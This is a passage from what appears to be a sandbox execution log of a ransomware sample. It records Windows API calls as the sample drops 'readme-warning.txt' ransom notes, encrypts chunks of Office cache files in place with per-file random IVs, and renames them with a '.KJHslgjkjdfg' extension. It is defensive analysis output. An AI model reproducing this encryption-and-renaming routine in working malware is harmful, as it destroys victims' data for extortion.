0x990000 [0155.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0155.762] GetProcessHeap () returned 0x990000 [0155.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.762] GetProcessHeap () returned 0x990000 [0155.762] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.762] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0155.762] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.762] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0155.762] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.763] GetProcessHeap () returned 0x990000 [0155.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.763] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0155.763] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0155.763] GetProcessHeap () returned 0x990000 [0155.763] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0155.763] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0155.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.763] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0155.764] CloseHandle (hObject=0x124) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.764] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0155.764] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0155.764] GetProcessHeap () returned 0x990000 [0155.765] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0155.765] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.767] GetProcessHeap () returned 0x990000 [0155.767] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.768] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.768] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0155.768] GetProcessHeap () returned 0x990000 [0155.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.769] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2511872) returned 1 [0155.769] GetProcessHeap () returned 0x990000 [0155.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.769] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.769] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.769] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.769] GetProcessHeap () returned 0x990000 [0155.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.770] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.770] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.770] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.772] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.772] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.773] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.773] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.782] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.788] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.788] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.789] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.789] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.789] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.789] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.811] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.814] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.814] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.816] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.816] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.830] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.833] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.833] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.834] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.834] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2654d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.835] SetEndOfFile (hFile=0x124) returned 1 [0155.838] GetProcessHeap () returned 0x990000 [0155.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.838] GetProcessHeap () returned 0x990000 [0155.838] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.839] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.kjhslgjkjdfg")) returned 1 [0155.839] CloseHandle (hObject=0x124) returned 1 [0155.839] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0155.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.840] GetProcessHeap () returned 0x990000 [0155.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.841] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.841] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.841] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.843] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.843] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.843] GetProcessHeap () returned 0x990000 [0155.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.843] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.843] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.843] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.843] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.843] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.844] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.844] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.844] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.844] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x5ac, lpOverlapped=0x0) returned 1 [0155.844] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0) returned 1 [0155.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.844] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0155.844] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.844] SetEndOfFile (hFile=0x124) returned 1 [0155.846] GetProcessHeap () returned 0x990000 [0155.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.846] GetProcessHeap () returned 0x990000 [0155.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.846] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0155.852] CloseHandle (hObject=0x124) returned 1 [0155.852] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0155.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.853] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=8265165) returned 1 [0155.853] GetProcessHeap () returned 0x990000 [0155.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.854] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x3, lpOverlapped=0x0) returned 1 [0155.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.858] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.858] GetProcessHeap () returned 0x990000 [0155.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.858] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30) returned 1 [0155.858] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.858] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f4*=0x30, lpOverlapped=0x0) returned 1 [0155.858] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.858] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.858] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.859] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.859] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.859] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, 